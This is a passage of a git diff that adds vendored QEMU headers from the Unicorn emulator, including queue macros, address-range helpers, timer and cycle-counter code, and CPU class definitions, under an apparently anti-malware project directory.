NULL, &(head).sqh_first } + +#define QSIMPLEQ_ENTRY(type) \ +struct { \ + struct type *sqe_next; /* next element */ \ +} + +/* + * Simple queue functions. + */ +#define QSIMPLEQ_INIT(head) do { \ + (head)->sqh_first = NULL; \ + (head)->sqh_last = &(head)->sqh_first; \ +} while (/*CONSTCOND*/0) + +#define QSIMPLEQ_INSERT_HEAD(head, elm, field) do { \ + if (((elm)->field.sqe_next = (head)->sqh_first) == NULL) \ + (head)->sqh_last = &(elm)->field.sqe_next; \ + (head)->sqh_first = (elm); \ +} while (/*CONSTCOND*/0) + +#define QSIMPLEQ_INSERT_TAIL(head, elm, field) do { \ + (elm)->field.sqe_next = NULL; \ + *(head)->sqh_last = (elm); \ + (head)->sqh_last = &(elm)->field.sqe_next; \ +} while (/*CONSTCOND*/0) + +#define QSIMPLEQ_INSERT_AFTER(head, listelm, elm, field) do { \ + if (((elm)->field.sqe_next = (listelm)->field.sqe_next) == NULL) \ + (head)->sqh_last = &(elm)->field.sqe_next; \ + (listelm)->field.sqe_next = (elm); \ +} while (/*CONSTCOND*/0) + +#define QSIMPLEQ_REMOVE_HEAD(head, field) do { \ + if (((head)->sqh_first = (head)->sqh_first->field.sqe_next) == NULL)\ + (head)->sqh_last = &(head)->sqh_first; \ +} while (/*CONSTCOND*/0) + +#define QSIMPLEQ_REMOVE(head, elm, type, field) do { \ + if ((head)->sqh_first == (elm)) { \ + QSIMPLEQ_REMOVE_HEAD((head), field); \ + } else { \ + struct type *curelm = (head)->sqh_first; \ + while (curelm->field.sqe_next != (elm)) \ + curelm = curelm->field.sqe_next; \ + if ((curelm->field.sqe_next = \ + curelm->field.sqe_next->field.sqe_next) == NULL) \ + (head)->sqh_last = &(curelm)->field.sqe_next; \ + } \ +} while (/*CONSTCOND*/0) + +#define QSIMPLEQ_FOREACH(var, head, field) \ + for ((var) = ((head)->sqh_first); \ + (var); \ + (var) = ((var)->field.sqe_next)) + +#define QSIMPLEQ_FOREACH_SAFE(var, head, field, next) \ + for ((var) = ((head)->sqh_first); \ + (var) && ((next = ((var)->field.sqe_next)), 1); \ + (var) = (next)) + +#define QSIMPLEQ_CONCAT(head1, head2) do { \ + if (!QSIMPLEQ_EMPTY((head2))) { \ + *(head1)->sqh_last = (head2)->sqh_first; \ + (head1)->sqh_last = (head2)->sqh_last; \ + QSIMPLEQ_INIT((head2)); \ + } \ +} while (/*CONSTCOND*/0) + +#define QSIMPLEQ_LAST(head, type, field) \ + (QSIMPLEQ_EMPTY((head)) ? \ + NULL : \ + ((struct type *)(void *) \ + ((char *)((head)->sqh_last) - offsetof(struct type, field)))) + +/* + * Simple queue access methods. + */ +#define QSIMPLEQ_EMPTY(head) ((head)->sqh_first == NULL) +#define QSIMPLEQ_FIRST(head) ((head)->sqh_first) +#define QSIMPLEQ_NEXT(elm, field) ((elm)->field.sqe_next) + + +/* + * Tail queue definitions. + */ +#define Q_TAILQ_HEAD(name, type, qual) \ +struct name { \ + qual type *tqh_first; /* first element */ \ + qual type *qual *tqh_last; /* addr of last next element */ \ +} +#define QTAILQ_HEAD(name, type) Q_TAILQ_HEAD(name, struct type,) + +#define QTAILQ_HEAD_INITIALIZER(head) \ + { NULL, &(head).tqh_first } + +#define Q_TAILQ_ENTRY(type, qual) \ +struct { \ + qual type *tqe_next; /* next element */ \ + qual type *qual *tqe_prev; /* address of previous next element */\ +} +#define QTAILQ_ENTRY(type) Q_TAILQ_ENTRY(struct type,) + +/* + * Tail queue functions. + */ +#define QTAILQ_INIT(head) do { \ + (head)->tqh_first = NULL; \ + (head)->tqh_last = &(head)->tqh_first; \ +} while (/*CONSTCOND*/0) + +#define QTAILQ_INSERT_HEAD(head, elm, field) do { \ + if (((elm)->field.tqe_next = (head)->tqh_first) != NULL) \ + (head)->tqh_first->field.tqe_prev = \ + &(elm)->field.tqe_next; \ + else \ + (head)->tqh_last = &(elm)->field.tqe_next; \ + (head)->tqh_first = (elm); \ + (elm)->field.tqe_prev = &(head)->tqh_first; \ +} while (/*CONSTCOND*/0) + +#define QTAILQ_INSERT_TAIL(head, elm, field) do { \ + (elm)->field.tqe_next = NULL; \ + (elm)->field.tqe_prev = (head)->tqh_last; \ + *(head)->tqh_last = (elm); \ + (head)->tqh_last = &(elm)->field.tqe_next; \ +} while (/*CONSTCOND*/0) + +#define QTAILQ_INSERT_AFTER(head, listelm, elm, field) do { \ + if (((elm)->field.tqe_next = (listelm)->field.tqe_next) != NULL)\ + (elm)->field.tqe_next->field.tqe_prev = \ + &(elm)->field.tqe_next; \ + else \ + (head)->tqh_last = &(elm)->field.tqe_next; \ + (listelm)->field.tqe_next = (elm); \ + (elm)->field.tqe_prev = &(listelm)->field.tqe_next; \ +} while (/*CONSTCOND*/0) + +#define QTAILQ_INSERT_BEFORE(listelm, elm, field) do { \ + (elm)->field.tqe_prev = (listelm)->field.tqe_prev; \ + (elm)->field.tqe_next = (listelm); \ + *(listelm)->field.tqe_prev = (elm); \ + (listelm)->field.tqe_prev = &(elm)->field.tqe_next; \ +} while (/*CONSTCOND*/0) + +#define QTAILQ_REMOVE(head, elm, field) do { \ + if (((elm)->field.tqe_next) != NULL) \ + (elm)->field.tqe_next->field.tqe_prev = \ + (elm)->field.tqe_prev; \ + else \ + (head)->tqh_last = (elm)->field.tqe_prev; \ + *(elm)->field.tqe_prev = (elm)->field.tqe_next; \ +} while (/*CONSTCOND*/0) + +#define QTAILQ_FOREACH(var, head, field) \ + for ((var) = ((head)->tqh_first); \ + (var); \ + (var) = ((var)->field.tqe_next)) + +#define QTAILQ_FOREACH_SAFE(var, head, field, next_var) \ + for ((var) = ((head)->tqh_first); \ + (var) && ((next_var) = ((var)->field.tqe_next), 1); \ + (var) = (next_var)) + +#define QTAILQ_FOREACH_REVERSE(var, head, headname, field) \ + for ((var) = (*(((struct headname *)((head)->tqh_last))->tqh_last)); \ + (var); \ + (var) = (*(((struct headname *)((var)->field.tqe_prev))->tqh_last))) + +/* + * Tail queue access methods. + */ +#define QTAILQ_EMPTY(head) ((head)->tqh_first == NULL) +#define QTAILQ_FIRST(head) ((head)->tqh_first) +#define QTAILQ_NEXT(elm, field) ((elm)->field.tqe_next) + +#define QTAILQ_LAST(head, headname) \ + (*(((struct headname *)((head)->tqh_last))->tqh_last)) +#define QTAILQ_PREV(elm, headname, field) \ + (*(((struct headname *)((elm)->field.tqe_prev))->tqh_last)) + +#endif /* !QEMU_SYS_QUEUE_H_ */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/range.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/range.h new file mode 100644 index 0000000..f5b1c5f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/range.h @@ -0,0 +1,135 @@ +#ifndef QEMU_RANGE_H +#define QEMU_RANGE_H + +#include "unicorn/platform.h" +#include <qemu/typedefs.h> +#include "qemu/queue.h" + +/* + * Operations on 64 bit address ranges. + * Notes: + * - ranges must not wrap around 0, but can include the last byte ~0x0LL. + * - this can not represent a full 0 to ~0x0LL range. + */ + +/* A structure representing a range of addresses. */ +struct Range { + uint64_t begin; /* First byte of the range, or 0 if empty. */ + uint64_t end; /* 1 + the last byte. 0 if range empty or ends at ~0x0LL. */ +}; + +static inline void range_extend(Range *range, Range *extend_by) +{ + if (!extend_by->begin && !extend_by->end) { + return; + } + if (!range->begin && !range->end) { + *range = *extend_by; + return; + } + if (range->begin > extend_by->begin) { + range->begin = extend_by->begin; + } + /* Compare last byte in case region ends at ~0x0LL */ + if (range->end - 1 < extend_by->end - 1) { + range->end = extend_by->end; + } +} + +/* Get last byte of a range from offset + length. + * Undefined for ranges that wrap around 0. */ +static inline uint64_t range_get_last(uint64_t offset, uint64_t len) +{ + return offset + len - 1; +} + +/* Check whether a given range covers a given byte. */ +static inline int range_covers_byte(uint64_t offset, uint64_t len, + uint64_t byte) +{ + return offset <= byte && byte <= range_get_last(offset, len); +} + +/* Check whether 2 given ranges overlap. + * Undefined if ranges that wrap around 0. */ +static inline int ranges_overlap(uint64_t first1, uint64_t len1, + uint64_t first2, uint64_t len2) +{ + uint64_t last1 = range_get_last(first1, len1); + uint64_t last2 = range_get_last(first2, len2); + + return !(last2 < first1 || last1 < first2); +} + +/* 0,1 can merge with 1,2 but don't overlap */ +static inline bool ranges_can_merge(Range *range1, Range *range2) +{ + return !(range1->end < range2->begin || range2->end < range1->begin); +} + +static inline int range_merge(Range *range1, Range *range2) +{ + if (ranges_can_merge(range1, range2)) { + if (range1->end < range2->end) { + range1->end = range2->end; + } + if (range1->begin > range2->begin) { + range1->begin = range2->begin; + } + return 0; + } + + return -1; +} + +static inline GList *g_list_insert_sorted_merged(GList *list, + gpointer data, + GCompareFunc func) +{ + GList *l, *next = NULL; + Range *r, *nextr; + + if (!list) { + list = g_list_insert_sorted(list, data, func); + return list; + } + + nextr = data; + l = list; + while (l && l != next && nextr) { + r = l->data; + if (ranges_can_merge(r, nextr)) { + range_merge(r, nextr); + l = g_list_remove_link(l, next); + next = g_list_next(l); + if (next) { + nextr = next->data; + } else { + nextr = NULL; + } + } else { + l = g_list_next(l); + } + } + + if (!l) { + list = g_list_insert_sorted(list, data, func); + } + + return list; +} + +static inline gint range_compare(gconstpointer a, gconstpointer b) +{ + Range *ra = (Range *)a, *rb = (Range *)b; + if (ra->begin == rb->begin && ra->end == rb->end) { + return 0; + } else if (range_get_last(ra->begin, ra->end) < + range_get_last(rb->begin, rb->end)) { + return -1; + } else { + return 1; + } +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/thread-posix.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/thread-posix.h new file mode 100644 index 0000000..36f2272 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/thread-posix.h @@ -0,0 +1,10 @@ +#ifndef __QEMU_THREAD_POSIX_H +#define __QEMU_THREAD_POSIX_H 1 +#include "pthread.h" +#include <semaphore.h> + +struct QemuThread { + pthread_t thread; +}; + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/thread-win32.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/thread-win32.h new file mode 100644 index 0000000..9f82ea2 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/thread-win32.h @@ -0,0 +1,14 @@ +#ifndef __QEMU_THREAD_WIN32_H +#define __QEMU_THREAD_WIN32_H 1 +#include "windows.h" + +typedef struct QemuThreadData QemuThreadData; +struct QemuThread { + QemuThreadData *data; + unsigned tid; +}; + +/* Only valid for joinable threads. */ +HANDLE qemu_thread_get_handle(QemuThread *thread); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/thread.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/thread.h new file mode 100644 index 0000000..c5d25f6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/thread.h @@ -0,0 +1,25 @@ +#ifndef __QEMU_THREAD_H +#define __QEMU_THREAD_H 1 + +#include "unicorn/platform.h" + +typedef struct QemuThread QemuThread; + +#ifdef _WIN32 +#include "qemu/thread-win32.h" +#else +#include "qemu/thread-posix.h" +#endif + +#define QEMU_THREAD_JOINABLE 0 +#define QEMU_THREAD_DETACHED 1 + +struct uc_struct; +// return -1 on error, 0 on success +int qemu_thread_create(struct uc_struct *uc, QemuThread *thread, const char *name, + void *(*start_routine)(void *), + void *arg, int mode); +void *qemu_thread_join(QemuThread *thread); +void qemu_thread_exit(struct uc_struct *uc, void *retval); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/timer.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/timer.h new file mode 100644 index 0000000..d106e68 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/timer.h @@ -0,0 +1,371 @@ +#ifndef QEMU_TIMER_H +#define QEMU_TIMER_H + +#include "qemu/typedefs.h" +#include "qemu-common.h" + +/* timers */ + +#define SCALE_MS 1000000 +#define SCALE_US 1000 +#define SCALE_NS 1 + +/** + * QEMUClockType: + * + * The following clock types are available: + * + * @QEMU_CLOCK_REALTIME: Real time clock + * + * The real time clock should be used only for stuff which does not + * change the virtual machine state, as it is run even if the virtual + * machine is stopped. The real time clock has a frequency of 1000 + * Hz. + * + * @QEMU_CLOCK_VIRTUAL: virtual clock + * + * The virtual clock is only run during the emulation. It is stopped + * when the virtual machine is stopped. Virtual timers use a high + * precision clock, usually cpu cycles (use ticks_per_sec). + * + * @QEMU_CLOCK_HOST: host clock + * + * The host clock should be use for device models that emulate accurate + * real time sources. It will continue to run when the virtual machine + * is suspended, and it will reflect system time changes the host may + * undergo (e.g. due to NTP). The host clock has the same precision as + * the virtual clock. + */ + +typedef enum { + QEMU_CLOCK_REALTIME = 0, + QEMU_CLOCK_VIRTUAL = 1, + QEMU_CLOCK_HOST = 2, + QEMU_CLOCK_MAX +} QEMUClockType; + +typedef struct QEMUTimerList QEMUTimerList; + +struct QEMUTimerListGroup { + QEMUTimerList *tl[QEMU_CLOCK_MAX]; +}; + +typedef void QEMUTimerCB(void *opaque); +typedef void QEMUTimerListNotifyCB(void *opaque); + +struct QEMUTimer { + int64_t expire_time; /* in nanoseconds */ + QEMUTimerList *timer_list; + QEMUTimerCB *cb; + void *opaque; + QEMUTimer *next; + int scale; +}; + +/* + * QEMUClockType + */ + +/* + * qemu_clock_get_ns; + * @type: the clock type + * + * Get the nanosecond value of a clock with + * type @type + * + * Returns: the clock value in nanoseconds + */ +int64_t qemu_clock_get_ns(QEMUClockType type); + +/** + * qemu_clock_get_ms; + * @type: the clock type + * + * Get the millisecond value of a clock with + * type @type + * + * Returns: the clock value in milliseconds + */ +static inline int64_t qemu_clock_get_ms(QEMUClockType type) +{ + return qemu_clock_get_ns(type) / SCALE_MS; +} + +/** + * qemu_clock_get_us; + * @type: the clock type + * + * Get the microsecond value of a clock with + * type @type + * + * Returns: the clock value in microseconds + */ +static inline int64_t qemu_clock_get_us(QEMUClockType type) +{ + return qemu_clock_get_ns(type) / SCALE_US; +} + +/** + * qemu_timeout_ns_to_ms: + * @ns: nanosecond timeout value + * + * Convert a nanosecond timeout value (or -1) to + * a millisecond value (or -1), always rounding up. + * + * Returns: millisecond timeout value + */ +int qemu_timeout_ns_to_ms(int64_t ns); + +/** + * qemu_soonest_timeout: + * @timeout1: first timeout in nanoseconds (or -1 for infinite) + * @timeout2: second timeout in nanoseconds (or -1 for infinite) + * + * Calculates the soonest of two timeout values. -1 means infinite, which + * is later than any other value. + * + * Returns: soonest timeout value in nanoseconds (or -1 for infinite) + */ +static inline int64_t qemu_soonest_timeout(int64_t timeout1, int64_t timeout2) +{ + /* we can abuse the fact that -1 (which means infinite) is a maximal + * value when cast to unsigned. As this is disgusting, it's kept in + * one inline function. + */ + return ((uint64_t) timeout1 < (uint64_t) timeout2) ? timeout1 : timeout2; +} + +/** + * initclocks: + * + * Initialise the clock & timer infrastructure + */ +void init_clocks(void); + +int64_t cpu_get_ticks(void); +/* Caller must hold BQL */ +void cpu_enable_ticks(void); +/* Caller must hold BQL */ +void cpu_disable_ticks(void); + +static inline int64_t get_ticks_per_sec(void) +{ + return 1000000000LL; +} + +/* + * Low level clock functions + */ + +/* real time host monotonic timer */ +static inline int64_t get_clock_realtime(void) +{ + struct timeval tv; + + gettimeofday(&tv, NULL); + return tv.tv_sec * 1000000000LL + (tv.tv_usec * 1000); +} + +/* Warning: don't insert tracepoints into these functions, they are + also used by simpletrace backend and tracepoints would cause + an infinite recursion! */ +#ifdef _WIN32 +extern int64_t clock_freq; + +static inline int64_t get_clock(void) +{ + LARGE_INTEGER ti; + QueryPerformanceCounter(&ti); + return muldiv64(ti.QuadPart, (uint32_t)get_ticks_per_sec(), (uint32_t)clock_freq); +} + +#else + +static inline int64_t get_clock(void) +{ + return get_clock_realtime(); +} +#endif + +/* icount */ +int64_t cpu_get_icount(void); +int64_t cpu_get_clock(void); +int64_t cpu_get_clock_offset(void); +int64_t cpu_icount_to_ns(int64_t icount); + +/*******************************************/ +/* host CPU ticks (if available) */ + +#if defined(_ARCH_PPC) + +static inline int64_t cpu_get_real_ticks(void) +{ + int64_t retval; +#ifdef _ARCH_PPC64 + /* This reads timebase in one 64bit go and includes Cell workaround from: + http://ozlabs.org/pipermail/linuxppc-dev/2006-October/027052.html + */ + __asm__ __volatile__ ("mftb %0\n\t" + "cmpwi %0,0\n\t" + "beq- $-8" + : "=r" (retval)); +#else + /* http://ozlabs.org/pipermail/linuxppc-dev/1999-October/003889.html */ + unsigned long junk; + __asm__ __volatile__ ("mfspr %1,269\n\t" /* mftbu */ + "mfspr %L0,268\n\t" /* mftb */ + "mfspr %0,269\n\t" /* mftbu */ + "cmpw %0,%1\n\t" + "bne $-16" + : "=r" (retval), "=r" (junk)); +#endif + return retval; +} + +#elif defined(__i386__) + +static inline int64_t cpu_get_real_ticks(void) +{ +#ifdef _MSC_VER + return __rdtsc(); +#else + int64_t val; + asm volatile ("rdtsc" : "=A" (val)); + return val; +#endif +} + +#elif defined(__x86_64__) + +static inline int64_t cpu_get_real_ticks(void) +{ +#ifdef _MSC_VER + return __rdtsc(); +#else + uint32_t low,high; + int64_t val; + asm volatile("rdtsc" : "=a" (low), "=d" (high)); + val = high; + val <<= 32; + val |= low; + return val; +#endif +} + +#elif defined(__hppa__) + +static inline int64_t cpu_get_real_ticks(void) +{ + int val; + asm volatile ("mfctl %%cr16, %0" : "=r"(val)); + return val; +} + +#elif defined(__ia64) + +static inline int64_t cpu_get_real_ticks(void) +{ + int64_t val; + asm volatile ("mov %0 = ar.itc" : "=r"(val) :: "memory"); + return val; +} + +#elif defined(__s390__) + +static inline int64_t cpu_get_real_ticks(void) +{ + int64_t val; + asm volatile("stck 0(%1)" : "=m" (val) : "a" (&val) : "cc"); + return val; +} + +#elif defined(__sparc__) + +static inline int64_t cpu_get_real_ticks (void) +{ +#if defined(_LP64) + uint64_t rval; + asm volatile("rd %%tick,%0" : "=r"(rval)); + return rval; +#else + /* We need an %o or %g register for this. For recent enough gcc + there is an "h" constraint for that. Don't bother with that. */ + union { + uint64_t i64; + struct { + uint32_t high; + uint32_t low; + } i32; + } rval; + asm volatile("rd %%tick,%%g1; srlx %%g1,32,%0; mov %%g1,%1" + : "=r"(rval.i32.high), "=r"(rval.i32.low) : : "g1"); + return rval.i64; +#endif +} + +#elif defined(__mips__) && \ + ((defined(__mips_isa_rev) && __mips_isa_rev >= 2) || defined(__linux__)) +/* + * binutils wants to use rdhwr only on mips32r2 + * but as linux kernel emulate it, it's fine + * to use it. + * + */ +#define MIPS_RDHWR(rd, value) { \ + __asm__ __volatile__ (".set push\n\t" \ + ".set mips32r2\n\t" \ + "rdhwr %0, "rd"\n\t" \ + ".set pop" \ + : "=r" (value)); \ + } + +static inline int64_t cpu_get_real_ticks(void) +{ + /* On kernels >= 2.6.25 rdhwr <reg>, $2 and $3 are emulated */ + uint32_t count; + static uint32_t cyc_per_count = 0; + + if (!cyc_per_count) { + MIPS_RDHWR("$3", cyc_per_count); + } + + MIPS_RDHWR("$2", count); + return (int64_t)(count * cyc_per_count); +} + +#elif defined(__alpha__) + +static inline int64_t cpu_get_real_ticks(void) +{ + uint64_t cc; + uint32_t cur, ofs; + + asm volatile("rpcc %0" : "=r"(cc)); + cur = cc; + ofs = cc >> 32; + return cur - ofs; +} + +#else +/* The host CPU doesn't have an easily accessible cycle counter. + Just return a monotonically increasing value. This will be + totally wrong, but hopefully better than nothing. */ +static inline int64_t cpu_get_real_ticks (void) +{ + static int64_t ticks = 0; + return ticks++; +} +#endif + +#ifdef CONFIG_PROFILER +static inline int64_t profile_getclock(void) +{ + return cpu_get_real_ticks(); +} + +extern int64_t qemu_time, qemu_time_start; +extern int64_t tlb_flush_time; +extern int64_t dev_time; +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/typedefs.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/typedefs.h new file mode 100644 index 0000000..d9759fc --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/typedefs.h @@ -0,0 +1,80 @@ +#ifndef QEMU_TYPEDEFS_H +#define QEMU_TYPEDEFS_H + +/* A load of opaque types so that device init declarations don't have to + pull in all the real definitions. */ +typedef struct QEMUTimer QEMUTimer; +typedef struct QEMUTimerListGroup QEMUTimerListGroup; +typedef struct QEMUFile QEMUFile; +typedef struct QEMUBH QEMUBH; + +typedef struct AioContext AioContext; + +typedef struct Visitor Visitor; + +typedef struct MigrationParams MigrationParams; + +typedef struct Property Property; +typedef struct PropertyInfo PropertyInfo; +typedef struct CompatProperty CompatProperty; +typedef struct DeviceState DeviceState; +typedef struct BusState BusState; +typedef struct BusClass BusClass; + +typedef struct AddressSpace AddressSpace; +typedef struct MemoryRegion MemoryRegion; +typedef struct MemoryRegionSection MemoryRegionSection; +typedef struct MemoryListener MemoryListener; + +typedef struct MemoryMappingList MemoryMappingList; + +typedef struct QEMUMachine QEMUMachine; +typedef struct MachineClass MachineClass; +typedef struct MachineState MachineState; +typedef struct NICInfo NICInfo; +typedef struct HCIInfo HCIInfo; +typedef struct AudioState AudioState; +typedef struct BlockBackend BlockBackend; +typedef struct BlockDriverState BlockDriverState; +typedef struct DriveInfo DriveInfo; +typedef struct DisplayState DisplayState; +typedef struct DisplayChangeListener DisplayChangeListener; +typedef struct DisplaySurface DisplaySurface; +typedef struct PixelFormat PixelFormat; +typedef struct QemuConsole QemuConsole; +typedef struct CharDriverState CharDriverState; +typedef struct MACAddr MACAddr; +typedef struct NetClientState NetClientState; +typedef struct I2CBus I2CBus; +typedef struct ISABus ISABus; +typedef struct ISADevice ISADevice; +typedef struct SMBusDevice SMBusDevice; +typedef struct PCIHostState PCIHostState; +typedef struct PCIExpressHost PCIExpressHost; +typedef struct PCIBus PCIBus; +typedef struct PCIDevice PCIDevice; +typedef struct PCIExpressDevice PCIExpressDevice; +typedef struct PCIBridge PCIBridge; +typedef struct PCIEAERMsg PCIEAERMsg; +typedef struct PCIEAERLog PCIEAERLog; +typedef struct PCIEAERErr PCIEAERErr; +typedef struct PCIEPort PCIEPort; +typedef struct PCIESlot PCIESlot; +typedef struct MSIMessage MSIMessage; +typedef struct SerialState SerialState; +typedef struct PCMCIACardState PCMCIACardState; +typedef struct MouseTransformInfo MouseTransformInfo; +typedef struct uWireSlave uWireSlave; +typedef struct I2SCodec I2SCodec; +typedef struct SSIBus SSIBus; +typedef struct EventNotifier EventNotifier; +typedef struct VirtIODevice VirtIODevice; +typedef struct QEMUSGList QEMUSGList; +typedef struct QEMUSizedBuffer QEMUSizedBuffer; +typedef struct SHPCDevice SHPCDevice; +typedef struct FWCfgState FWCfgState; +typedef struct PcGuestInfo PcGuestInfo; +typedef struct Range Range; +typedef struct AdapterInfo AdapterInfo; + +#endif /* QEMU_TYPEDEFS_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qom/cpu.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qom/cpu.h new file mode 100644 index 0000000..3a24f78 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qom/cpu.h @@ -0,0 +1,629 @@ +/* + * QEMU CPU model + * + * Copyright (c) 2012 SUSE LINUX Products GmbH + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, see + * <http://www.gnu.org/licenses/gpl-2.0.html> + */ +#ifndef QEMU_CPU_H +#define QEMU_CPU_H + +#include <signal.h> +#include <setjmp.h> +#include "hw/qdev-core.h" +#include "exec/hwaddr.h" +#include "qemu/queue.h" +#include "qemu/thread.h" +#include "qemu/typedefs.h" + +typedef int (*WriteCoreDumpFunction)(const void *buf, size_t size, + void *opaque); + +/** + * vaddr: + * Type wide enough to contain any #target_ulong virtual address. + */ +typedef uint64_t vaddr; +#define VADDR_PRId PRId64 +#define VADDR_PRIu PRIu64 +#define VADDR_PRIo PRIo64 +#define VADDR_PRIx PRIx64 +#define VADDR_PRIX PRIX64 +#define VADDR_MAX UINT64_MAX + +/** + * SECTION:cpu + * @section_id: QEMU-cpu + * @title: CPU Class + * @short_description: Base class for all CPUs + */ + +#define TYPE_CPU "cpu" + +/* Since this macro is used a lot in hot code paths and in conjunction with + * FooCPU *foo_env_get_cpu(), we deviate from usual QOM practice by using + * an unchecked cast. + */ +#define CPU(obj) ((CPUState *)(obj)) + +#define CPU_CLASS(uc, class) OBJECT_CLASS_CHECK(uc, CPUClass, (class), TYPE_CPU) +#define CPU_GET_CLASS(uc, obj) OBJECT_GET_CLASS(uc, CPUClass, (obj), TYPE_CPU) + +typedef struct CPUState CPUState; + +typedef void (*CPUUnassignedAccess)(CPUState *cpu, hwaddr addr, + bool is_write, bool is_exec, int opaque, + unsigned size); + +struct TranslationBlock; + +/** + * CPUClass: + * @class_by_name: Callback to map -cpu command line model name to an + * instantiatable CPU type. + * @parse_features: Callback to parse command line arguments. + * @reset: Callback to reset the #CPUState to its initial state. + * @reset_dump_flags: #CPUDumpFlags to use for reset logging. + * @has_work: Callback for checking if there is work to do. + * @do_interrupt: Callback for interrupt handling. + * @do_unassigned_access: Callback for unassigned access handling. + * @do_unaligned_access: Callback for unaligned access handling, if + * the target defines #ALIGNED_ONLY. + * @memory_rw_debug: Callback for GDB memory access. + * @dump_state: Callback for dumping state. + * @dump_statistics: Callback for dumping statistics. + * @get_arch_id: Callback for getting architecture-dependent CPU ID. + * @get_paging_enabled: Callback for inquiring whether paging is enabled. + * @get_memory_mapping: Callback for obtaining the memory mappings. + * @set_pc: Callback for setting the Program Counter register. + * @synchronize_from_tb: Callback for synchronizing state from a TCG + * #TranslationBlock. + * @handle_mmu_fault: Callback for handling an MMU fault. + * @get_phys_page_debug: Callback for obtaining a physical address. + * @debug_excp_handler: Callback for handling debug exceptions. + * @vmsd: State description for migration. + * @cpu_exec_enter: Callback for cpu_exec preparation. + * @cpu_exec_exit: Callback for cpu_exec cleanup. + * @cpu_exec_interrupt: Callback for processing interrupts in cpu_exec. + * + * Represents a CPU family or model. + */ +typedef struct CPUClass { + /*< private >*/ + DeviceClass parent_class; + /*< public >*/ + + ObjectClass *(*class_by_name)(struct uc_struct *uc, const char *cpu_model); + void (*parse_features)(CPUState *cpu, char *str, Error **errp); + + void (*reset)(CPUState *cpu); + int reset_dump_flags; + bool (*has_work)(CPUState *cpu); + void (*do_interrupt)(CPUState *cpu); + CPUUnassignedAccess do_unassigned_access; + void (*do_unaligned_access)(CPUState *cpu, vaddr addr, + int is_write, int is_user, uintptr_t retaddr); + int (*memory_rw_debug)(CPUState *cpu, vaddr addr, + uint8_t *buf, int len, bool is_write); + void (*dump_state)(CPUState *cpu, FILE *f, fprintf_function cpu_fprintf, + int flags); + void (*dump_statistics)(CPUState *cpu, FILE *f, + fprintf_function cpu_fprintf, int flags); + int64_t (*get_arch_id)(CPUState *cpu); + bool (*get_paging_enabled)(const CPUState *cpu); + void (*get_memory_mapping)(CPUState *cpu, MemoryMappingList *list, + Error **errp); + void (*set_pc)(CPUState *cpu, vaddr value); + void (*synchronize_from_tb)(CPUState *cpu, struct TranslationBlock *tb); + int (*handle_mmu_fault)(CPUState *cpu, vaddr address, int rw, + int mmu_index); + hwaddr (*get_phys_page_debug)(CPUState *cpu, vaddr addr); + void (*debug_excp_handler)(CPUState *cpu); + + const struct VMStateDescription *vmsd; + + void (*cpu_exec_enter)(CPUState *cpu); + void (*cpu_exec_exit)(CPUState *cpu); + bool (*cpu_exec_interrupt)(CPUState *cpu, int interrupt_request); +} CPUClass; + +#ifdef HOST_WORDS_BIGENDIAN +typedef struct icount_decr_u16 { + uint16_t high; + uint16_t low; +} icount_decr_u16; +#else +typedef struct icount_decr_u16 { + uint16_t low; + uint16_t high; +} icount_decr_u16; +#endif + +typedef struct CPUBreakpoint { + vaddr pc; + int flags; /* BP_* */ + QTAILQ_ENTRY(CPUBreakpoint) entry; +} CPUBreakpoint; + +typedef struct CPUWatchpoint { + vaddr vaddr; + vaddr len; + vaddr hitaddr; + int flags; /* BP_* */ + QTAILQ_ENTRY(CPUWatchpoint) entry; +} CPUWatchpoint; + +struct KVMState; +struct kvm_run; + +#define TB_JMP_CACHE_BITS 12 +#define TB_JMP_CACHE_SIZE (1 << TB_JMP_CACHE_BITS) + +/** + * CPUState: + * @cpu_index: CPU index (informative). + * @nr_cores: Number of cores within this CPU package. + * @nr_threads: Number of threads within this CPU. + * @numa_node: NUMA node this CPU is belonging to. + * @host_tid: Host thread ID. + * @running: #true if CPU is currently running (usermode). + * @created: Indicates whether the CPU thread has been successfully created. + * @interrupt_request: Indicates a pending interrupt request. + * @halted: Nonzero if the CPU is in suspended state. + * @stop: Indicates a pending stop request. + * @stopped: Indicates the CPU has been artificially stopped. + * @tcg_exit_req: Set to force TCG to stop executing linked TBs for this + * CPU and return to its top level loop. + * @singlestep_enabled: Flags for single-stepping. + * @icount_extra: Instructions until next timer event. + * @icount_decr: Number of cycles left, with interrupt flag in high bit. + * This allows a single read-compare-cbranch-write sequence to test + * for both decrementer underflow and exceptions. + * @can_do_io: Nonzero if memory-mapped IO is safe. + * @env_ptr: Pointer to subclass-specific CPUArchState field. + * @current_tb: Currently executing TB. + * @next_cpu: Next CPU sharing TB cache. + * @opaque: User data. + * 